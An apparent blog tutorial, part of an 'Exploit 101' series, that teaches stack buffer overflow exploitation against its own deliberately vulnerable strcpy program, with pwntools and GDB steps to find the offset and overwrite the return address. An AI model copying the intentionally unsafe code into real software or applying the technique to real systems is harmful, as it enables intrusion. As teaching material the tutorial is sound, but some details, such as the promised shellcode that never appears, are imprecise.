In the third part of our Exploit 101 series, we will explore the basics of exploit development, including understanding memory vulnerabilities, analyzing vulnerable applications, and writing simple exploits.
What is Exploit Development?
Exploit development is the process of creating scripts or code that take advantage of a vulnerability to achieve unintended behavior, such as remote code execution (RCE), privilege escalation, or denial of service (DoS).
Common Types of Exploits
- Stack-Based Buffer Overflow – Overwriting return addresses in the stack.
- Heap-Based Buffer Overflow – Corrupting memory allocated on the heap.
- Format String Vulnerabilities – Reading or writing arbitrary memory.
- Use-After-Free (UAF) – Exploiting memory that has been deallocated.
- Integer Overflow – Bypassing integer limitations to overwrite memory.
Setting Up Your Exploit Development Environment
Required Tools
Ensure you have the following tools installed on your attacker machine (Kali Linux, Parrot OS, or Ubuntu):
- GDB (GNU Debugger) – Analyze and debug binaries.
sudo apt install gdb -y - Pwntools – Python library for writing exploits.
pip install pwntools - Radare2 – Reverse engineering and debugging framework.
sudo apt install radare2 -y - IDA Free / Ghidra – Binary analysis tools.
Understanding Memory Exploits
1. Stack-Based Buffer Overflow (Simple Example)
A buffer overflow occurs when input exceeds a fixed buffer size, corrupting adjacent memory.
Example Vulnerable Code (C):
#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input);
}
int main(int argc, char *argv[]) {
vulnerable_function(argv[1]);
return 0;
}
This code is vulnerable because strcpy does not check buffer size.
Identifying the Overflow:
Compile with disabled protections:
gcc -fno-stack-protector -z execstack -o vuln vuln.c
Run the program with an oversized input:
./vuln $(python -c 'print("A"*100)')
If the program crashes, it means we can overwrite memory.
Writing a Simple Exploit
1. Finding the Offset
Use a pattern generator from Pwntools:
from pwn import *
pattern = cyclic(100)
print(pattern)
Run the program with this pattern and check where it crashes.
./vuln $(python -c 'from pwn import *; print(cyclic(100))')
Use GDB to find the offset:
gdb -q ./vuln
run $(python -c 'from pwn import *; print(cyclic(100))')
info registers
Look for the register (e.g., EIP or RIP) that contains a recognizable pattern and find its offset.
from pwn import *
print(cyclic_find(0x61616162)) # Replace with actual crash value
2. Overwriting the Return Address
Modify the exploit to inject shellcode.
from pwn import *
payload = b"A" * 64 # Overflow buffer
payload += b"B" * 4 # Overwrite saved EIP
print(payload)
Run it:
./vuln $(python exploit.py)
If successful, we control EIP/RIP, meaning we can redirect execution.
Conclusion
This introduction covers the basics of exploit development, including memory corruption techniques and writing simple exploits. In the next part, we will dive into Return-Oriented Programming (ROP) and Advanced Exploitation Techniques.
Stay tuned for Exploit 101: Part 4 – Return-Oriented Programming (ROP) Basics!





